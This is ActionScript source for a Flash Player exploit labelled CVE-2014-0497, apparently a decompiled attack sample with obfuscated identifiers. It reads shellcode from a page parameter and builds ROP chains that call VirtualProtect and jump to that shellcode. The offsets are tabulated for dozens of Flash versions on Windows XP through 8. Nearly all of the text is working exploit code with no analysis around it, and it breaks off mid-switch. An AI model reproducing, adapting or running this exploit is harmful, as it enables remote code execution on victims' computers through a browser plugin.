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CVE-2014-0497.as
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//Compile with mxmlc blah.as -o blah.swf
package
{
import flash.system.Capabilities;
import flash.display.Sprite;
import flash.utils.ByteArray;
import __AS3__.vec.Vector;
import flash.system.ApplicationDomain;
import avm2.intrinsics.memory.*;
public class Vickers extends Sprite
{
public static var shellcode:String;
public function Vickers()
{
var params = root.loaderInfo.parameters;
shellcode = params["id"];
while (true)
{
if (exploit()) break;
};
}
public function makejaiua(vftableAddr:*, scAddr:*):ByteArray
{
var kzkxuuao = null;
switch (Capabilities.os.toLowerCase())
{
case "windows xp":
case "windows vista":
case "windows server 2003 r2":
case "windows server 2003":
case "windows 7":
case "windows 7 x64":
case "windows server 2008 r2":
case "windows server 2008":
kzkxuuao = makejaiuaWinOther(vftableAddr, scAddr);
break;
case "windows 8":
case "windows 8 x64":
kzkxuuao = makejaiuaWin8(vftableAddr, scAddr);
break;
default:
return (null);
};
return (kzkxuuao);
}
public function makejaiuaWin8(vftableAddr:*, scAddr:*):ByteArray
{
var flash_base:uint = vftableAddr;
var flash_end:uint;
var paeikkzkxuuao:ByteArray = new ByteArray();
paeikkzkxuuao.position = 0;
paeikkzkxuuao.endian = "littleEndian";
paeikkzkxuuao.writeUnsignedInt((scAddr + 4));
switch (Capabilities.version.toLowerCase())
{
case "win 11,3,372,94":
flash_base = (flash_base - 9518744);
flash_end = (flash_base + 0xB10000);
paeikkzkxuuao.writeUnsignedInt((flash_base + 0x401404)); // add esp, 0x44; ret
paeikkzkxuuao.position = 64;
paeikkzkxuuao.writeUnsignedInt((flash_base + 0x26525)); // xchg eax, esp; ret
paeikkzkxuuao.position = 76;
paeikkzkxuuao.writeUnsignedInt((flash_base + 0x10c5)); // pop eax; ret
paeikkzkxuuao.writeUnsignedInt((flash_base + 0x817420)); // ptr to KERNEL32!VirtualProtectStub
paeikkzkxuuao.writeUnsignedInt((flash_base + 0x9e16)); // mov eax, dword ptr [eax]; ret
paeikkzkxuuao.writeUnsignedInt((flash_base + 0xcc022)); // push eax; ret
paeikkzkxuuao.writeUnsignedInt((flash_base + 0x3157c)); // jmp esp ; ret after VirtualProtect
paeikkzkxuuao.writeUnsignedInt(scAddr);
paeikkzkxuuao.writeUnsignedInt(0x1000);
paeikkzkxuuao.writeUnsignedInt(0x40);
paeikkzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,3,375,10":
flash_base = (flash_base - 9589392);
flash_end = (flash_base + 0xB15000);
paeikkzkxuuao.writeUnsignedInt((flash_base + 4220004));
paeikkzkxuuao.position = 64;
paeikkzkxuuao.writeUnsignedInt((flash_base + 142215));
paeikkzkxuuao.position = 76;
paeikkzkxuuao.writeUnsignedInt((flash_base + 4293));
paeikkzkxuuao.writeUnsignedInt((flash_base + 8504352));
paeikkzkxuuao.writeUnsignedInt((flash_base + 40214));
paeikkzkxuuao.writeUnsignedInt((flash_base + 840082));
paeikkzkxuuao.writeUnsignedInt((flash_base + 202134));
paeikkzkxuuao.writeUnsignedInt(scAddr);
paeikkzkxuuao.writeUnsignedInt(0x1000);
paeikkzkxuuao.writeUnsignedInt(64);
paeikkzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,3,376,12":
flash_base = (flash_base - 9593552);
flash_end = (flash_base + 0xB16000);
paeikkzkxuuao.writeUnsignedInt((flash_base + 4220740));
paeikkzkxuuao.position = 64;
paeikkzkxuuao.writeUnsignedInt((flash_base + 142023));
paeikkzkxuuao.position = 76;
paeikkzkxuuao.writeUnsignedInt((flash_base + 4293));
paeikkzkxuuao.writeUnsignedInt((flash_base + 8508448));
paeikkzkxuuao.writeUnsignedInt((flash_base + 39878));
paeikkzkxuuao.writeUnsignedInt((flash_base + 839538));
paeikkzkxuuao.writeUnsignedInt((flash_base + 201958));
paeikkzkxuuao.writeUnsignedInt(scAddr);
paeikkzkxuuao.writeUnsignedInt(0x1000);
paeikkzkxuuao.writeUnsignedInt(64);
paeikkzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,3,377,15":
flash_base = (flash_base - 9589576);
flash_end = (flash_base + 0xB15000);
paeikkzkxuuao.writeUnsignedInt((flash_base + 4220388));
paeikkzkxuuao.position = 64;
paeikkzkxuuao.writeUnsignedInt((flash_base + 141671));
paeikkzkxuuao.position = 76;
paeikkzkxuuao.writeUnsignedInt((flash_base + 4293));
paeikkzkxuuao.writeUnsignedInt((flash_base + 8504352));
paeikkzkxuuao.writeUnsignedInt((flash_base + 39526));
paeikkzkxuuao.writeUnsignedInt((flash_base + 839698));
paeikkzkxuuao.writeUnsignedInt((flash_base + 201590));
paeikkzkxuuao.writeUnsignedInt(scAddr);
paeikkzkxuuao.writeUnsignedInt(0x1000);
paeikkzkxuuao.writeUnsignedInt(64);
paeikkzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,3,378,5":
flash_base = (flash_base - 9589448);
flash_end = (flash_base + 0xB15000);
paeikkzkxuuao.writeUnsignedInt((flash_base + 4220388));
paeikkzkxuuao.position = 64;
paeikkzkxuuao.writeUnsignedInt((flash_base + 141671));
paeikkzkxuuao.position = 76;
paeikkzkxuuao.writeUnsignedInt((flash_base + 4293));
paeikkzkxuuao.writeUnsignedInt((flash_base + 8504352));
paeikkzkxuuao.writeUnsignedInt((flash_base + 39526));
paeikkzkxuuao.writeUnsignedInt((flash_base + 839698));
paeikkzkxuuao.writeUnsignedInt((flash_base + 201590));
paeikkzkxuuao.writeUnsignedInt(scAddr);
paeikkzkxuuao.writeUnsignedInt(0x1000);
paeikkzkxuuao.writeUnsignedInt(64);
paeikkzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,3,379,14":
flash_base = (flash_base - 9597856);
flash_end = (flash_base + 0xB17000);
paeikkzkxuuao.writeUnsignedInt((flash_base + 4575113));
paeikkzkxuuao.position = 64;
paeikkzkxuuao.writeUnsignedInt((flash_base + 6617808));
paeikkzkxuuao.position = 76;
paeikkzkxuuao.writeUnsignedInt((flash_base + 8149060));
paeikkzkxuuao.writeUnsignedInt((flash_base + 8512544));
paeikkzkxuuao.writeUnsignedInt((flash_base + 4907562));
paeikkzkxuuao.writeUnsignedInt((flash_base + 8147977));
paeikkzkxuuao.writeUnsignedInt((flash_base + 4046601));
paeikkzkxuuao.writeUnsignedInt(scAddr);
paeikkzkxuuao.writeUnsignedInt(0x1000);
paeikkzkxuuao.writeUnsignedInt(64);
paeikkzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,6,602,167":
flash_base = (flash_base - 9821704);
flash_end = (flash_base + 0xB85000);
paeikkzkxuuao.writeUnsignedInt((flash_base + 8405950));
paeikkzkxuuao.position = 64;
paeikkzkxuuao.writeUnsignedInt((flash_base + 27456));
paeikkzkxuuao.position = 76;
paeikkzkxuuao.writeUnsignedInt((flash_base + 4293));
paeikkzkxuuao.writeUnsignedInt((flash_base + 8791088));
paeikkzkxuuao.writeUnsignedInt((flash_base + 73494));
paeikkzkxuuao.writeUnsignedInt((flash_base + 1115794));
paeikkzkxuuao.writeUnsignedInt((flash_base + 242790));
paeikkzkxuuao.writeUnsignedInt(scAddr);
paeikkzkxuuao.writeUnsignedInt(0x1000);
paeikkzkxuuao.writeUnsignedInt(64);
paeikkzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,6,602,171":
flash_base = (flash_base - 9821904);
flash_end = (flash_base + 0xB85000);
paeikkzkxuuao.writeUnsignedInt((flash_base + 8406414));
paeikkzkxuuao.position = 64;
paeikkzkxuuao.writeUnsignedInt((flash_base + 27456));
paeikkzkxuuao.position = 76;
paeikkzkxuuao.writeUnsignedInt((flash_base + 4293));
paeikkzkxuuao.writeUnsignedInt((flash_base + 8791088));
paeikkzkxuuao.writeUnsignedInt((flash_base + 73078));
paeikkzkxuuao.writeUnsignedInt((flash_base + 1116754));
paeikkzkxuuao.writeUnsignedInt((flash_base + 242380));
paeikkzkxuuao.writeUnsignedInt(scAddr);
paeikkzkxuuao.writeUnsignedInt(0x1000);
paeikkzkxuuao.writeUnsignedInt(64);
paeikkzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,6,602,180":
flash_base = (flash_base - 9816600);
flash_end = (flash_base + 0xB84000);
paeikkzkxuuao.writeUnsignedInt((flash_base + 8404478));
paeikkzkxuuao.position = 64;
paeikkzkxuuao.writeUnsignedInt((flash_base + 29514));
paeikkzkxuuao.position = 76;
paeikkzkxuuao.writeUnsignedInt((flash_base + 4293));
paeikkzkxuuao.writeUnsignedInt((flash_base + 8786992));
paeikkzkxuuao.writeUnsignedInt((flash_base + 69382));
paeikkzkxuuao.writeUnsignedInt((flash_base + 175197));
paeikkzkxuuao.writeUnsignedInt((flash_base + 238732));
paeikkzkxuuao.writeUnsignedInt(scAddr);
paeikkzkxuuao.writeUnsignedInt(0x1000);
paeikkzkxuuao.writeUnsignedInt(64);
paeikkzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,7,700,169":
flash_base = (flash_base - 10441412);
flash_end = (flash_base + 0xC45000);
paeikkzkxuuao.writeUnsignedInt((flash_base + 4640769));
paeikkzkxuuao.position = 64;
paeikkzkxuuao.writeUnsignedInt((flash_base + 53338));
paeikkzkxuuao.position = 76;
paeikkzkxuuao.writeUnsignedInt((flash_base + 4293));
paeikkzkxuuao.writeUnsignedInt((flash_base + 9368732));
paeikkzkxuuao.writeUnsignedInt((flash_base + 95414));
paeikkzkxuuao.writeUnsignedInt((flash_base + 1145506));
paeikkzkxuuao.writeUnsignedInt((flash_base + 2156132));
paeikkzkxuuao.writeUnsignedInt(scAddr);
paeikkzkxuuao.writeUnsignedInt(0x1000);
paeikkzkxuuao.writeUnsignedInt(64);
paeikkzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,7,700,202":
flash_base = (flash_base - 0x9f5470);
flash_end = (flash_base + 0xC45000);
paeikkzkxuuao.writeUnsignedInt((flash_base + 0x46c361));
paeikkzkxuuao.position = 64;
paeikkzkxuuao.writeUnsignedInt((flash_base + 0xcc5a));
paeikkzkxuuao.position = 76;
paeikkzkxuuao.writeUnsignedInt((flash_base + 0x10c5));
paeikkzkxuuao.writeUnsignedInt((flash_base + 0x8ef49c));
paeikkzkxuuao.writeUnsignedInt((flash_base + 0x17136));
paeikkzkxuuao.writeUnsignedInt((flash_base + 0x42f0));
paeikkzkxuuao.writeUnsignedInt((flash_base + 0x40664));
paeikkzkxuuao.writeUnsignedInt(scAddr);
paeikkzkxuuao.writeUnsignedInt(0x1000);
paeikkzkxuuao.writeUnsignedInt(64);
paeikkzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,7,700,224":
flash_base = (flash_base - 10450228);
flash_end = (flash_base + 0xC7A000);
paeikkzkxuuao.writeUnsignedInt((flash_base + 4646881));
paeikkzkxuuao.position = 64;
paeikkzkxuuao.writeUnsignedInt((flash_base + 52090));
paeikkzkxuuao.position = 76;
paeikkzkxuuao.writeUnsignedInt((flash_base + 4293));
paeikkzkxuuao.writeUnsignedInt((flash_base + 9376924));
paeikkzkxuuao.writeUnsignedInt((flash_base + 93510));
paeikkzkxuuao.writeUnsignedInt((flash_base + 1145378));
paeikkzkxuuao.writeUnsignedInt((flash_base + 1909483));
paeikkzkxuuao.writeUnsignedInt(scAddr);
paeikkzkxuuao.writeUnsignedInt(0x1000);
paeikkzkxuuao.writeUnsignedInt(64);
paeikkzkxuuao.writeUnsignedInt((scAddr - 4));
break;
default:
return (null);
};
return (paeikkzkxuuao);
}
public function makejaiuaWinOther(vftableAddr:*, scAddr:*):ByteArray
{
var vftableAddr_copy:uint = vftableAddr;
var _local_5:uint;
var kzkxuuao:ByteArray = new ByteArray();
kzkxuuao.position = 0;
kzkxuuao.endian = "littleEndian";
kzkxuuao.writeUnsignedInt((scAddr + 4));
switch (Capabilities.version.toLowerCase())
{
case "win 11,0,1,152":
vftableAddr_copy = (vftableAddr_copy - 7628676);
_local_5 = (vftableAddr_copy + 0x927000);
kzkxuuao.position = 8;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 1041567));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 1937003));
kzkxuuao.position = 80;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4585805));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 6697912));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 2201532));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 3985044));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 2764856));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,1,102,55":
vftableAddr_copy = (vftableAddr_copy - 7633040);
_local_5 = (vftableAddr_copy + 0x927000);
kzkxuuao.position = 8;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4793772));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 1939267));
kzkxuuao.position = 80;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 2297101));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 6702008));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 3976335));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 3516263));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 2768033));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,1,102,62":
vftableAddr_copy = (vftableAddr_copy - 7628912);
_local_5 = (vftableAddr_copy + 0x927000);
kzkxuuao.position = 8;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4794156));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 1939856));
kzkxuuao.position = 80;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5126527));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 6702008));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 2920469));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4454837));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 2768325));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,1,102,63":
vftableAddr_copy = (vftableAddr_copy - 7628904);
_local_5 = (vftableAddr_copy + 0x927000);
kzkxuuao.position = 8;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4794076));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 1939822));
kzkxuuao.position = 80;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5126435));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 6702008));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 2353542));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 3516455));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 2768305));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,2,202,228":
vftableAddr_copy = (vftableAddr_copy - 7726032);
_local_5 = (vftableAddr_copy + 0x93F000);
kzkxuuao.position = 8;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4947482));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 2022234));
kzkxuuao.position = 80;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 6255948));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 6824832));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5021261));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 6176368));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 2847152));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,2,202,233":
vftableAddr_copy = (vftableAddr_copy - 7729872);
_local_5 = (vftableAddr_copy + 0x93F000);
kzkxuuao.position = 8;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4947594));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 2022508));
kzkxuuao.position = 80;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4691374));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 6824832));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4164715));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5837496));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 2847021));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,2,202,235":
vftableAddr_copy = (vftableAddr_copy - 7734032);
_local_5 = (vftableAddr_copy + 0x940000);
kzkxuuao.position = 8;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4947578));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 2022729));
kzkxuuao.position = 80;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5249755));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 6828928));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4261382));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4553024));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 2847456));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,3,300,257":
vftableAddr_copy = (vftableAddr_copy - 8232016);
_local_5 = (vftableAddr_copy + 0x9C3000);
kzkxuuao.position = 8;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5328586));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 2069614));
kzkxuuao.position = 80;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 6497300));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 7222148));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5022322));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4972967));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 3071572));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,3,300,273":
vftableAddr_copy = (vftableAddr_copy - 8236216);
_local_5 = (vftableAddr_copy + 0x9C4000);
kzkxuuao.position = 8;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5331930));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 2070667));
kzkxuuao.position = 80;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 6500737));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 7226252));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5142060));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5127634));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 3074828));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,4,402,278":
vftableAddr_copy = (vftableAddr_copy - 8503560);
_local_5 = (vftableAddr_copy + 0xA23000);
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5581452));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 1202409));
kzkxuuao.position = 76;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 6927402));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 7480208));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5373116));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5713520));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 3269652));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,4,402,287":
vftableAddr_copy = (vftableAddr_copy - 8507728);
_local_5 = (vftableAddr_copy + 0xA24000);
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5582348));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 1202841));
kzkxuuao.position = 76;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 6927143));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 7484304));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5481024));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5107604));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5747979));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,5,502,110":
vftableAddr_copy = (vftableAddr_copy - 11716376);
_local_5 = (vftableAddr_copy + 0xEC6000);
kzkxuuao.position = 20;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 9813154));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 448623));
kzkxuuao.position = 96;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 9326463));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 10691852));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5731300));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 8910259));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 8630687));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,5,502,135":
vftableAddr_copy = (vftableAddr_copy - 11716400);
_local_5 = (vftableAddr_copy + 0xEC6000);
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 1101327));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4733912));
kzkxuuao.position = 76;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4540));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 10691852));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 28862));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 512197));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 1560889));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,5,502,146":
vftableAddr_copy = (vftableAddr_copy - 11716320);
_local_5 = (vftableAddr_copy + 0xEC6000);
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 1101327));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4733912));
kzkxuuao.position = 76;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4540));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 10691852));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 28862));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 512197));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 1560889));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,5,502,149":
vftableAddr_copy = (vftableAddr_copy - 11712240);
_local_5 = (vftableAddr_copy + 0xEC6000);
kzkxuuao.position = 5;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 10373824));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4331881));
kzkxuuao.position = 77;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 9292830));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 10691852));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5731956));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 7150772));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 3344264));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,6,602,168":
vftableAddr_copy = (vftableAddr_copy - 11825816);
_local_5 = (vftableAddr_copy + 0xEE9000);
kzkxuuao.position = 5;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 9924439));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4370139));
kzkxuuao.position = 77;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 9564155));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 10736920));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5830863));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 9044861));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 7984191));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,6,602,171":
vftableAddr_copy = (vftableAddr_copy - 11834040);
_local_5 = (vftableAddr_copy + 0xEEA000);
kzkxuuao.position = 5;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 9925589));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4370636));
kzkxuuao.position = 77;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 9564442));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 10741016));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5771380));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 10153408));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 7983199));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,6,602,180":
vftableAddr_copy = (vftableAddr_copy - 11824712);
_local_5 = (vftableAddr_copy + 0xEE9000);
kzkxuuao.position = 5;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 9923173));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 4368414));
kzkxuuao.position = 77;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 9562061));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 10736920));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 5828990));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 9042989));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 8661666));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,7,700,169":
vftableAddr_copy = (vftableAddr_copy - 12902952);
_local_5 = (vftableAddr_copy + 16904192);
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 1116239));
kzkxuuao.position = 64;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 10368763));
kzkxuuao.position = 76;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 2586086));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 11752328));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 32732));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 8192266));
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 1578904));
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(64);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,7,700,202":
vftableAddr_copy = (vftableAddr_copy - 0xc4f508);
_local_5 = (vftableAddr_copy + 0x101f000);
kzkxuuao.position = 8;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 0x7dfcd2)); // 107dfcd2 : add esp,44h ; ret
kzkxuuao.position = 0x40;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 0x12a269)); // 1012a269 : xchg edx,esp ; add eax,dword ptr [eax]; add byte ptr [edi+5Eh],bl ; pop ecx ; ret
kzkxuuao.position = 0x50;
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 0xcb497)); // 100cb497 : pop eax ; ret
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 0xb35388)); // 10b35388 : ptr to VirtualProtect
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 0x110d3d)); // 10110d3d : mov eax,dword ptr [eax] ; ret
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 0x887362)); // 10887362 : push eax ; ret
kzkxuuao.writeUnsignedInt((vftableAddr_copy + 0x331bff)); // 10331bff : jmp esp
kzkxuuao.writeUnsignedInt(scAddr);
kzkxuuao.writeUnsignedInt(0x1000);
kzkxuuao.writeUnsignedInt(0x40);
kzkxuuao.writeUnsignedInt((scAddr - 4));
break;
case "win 11,8,800,97":
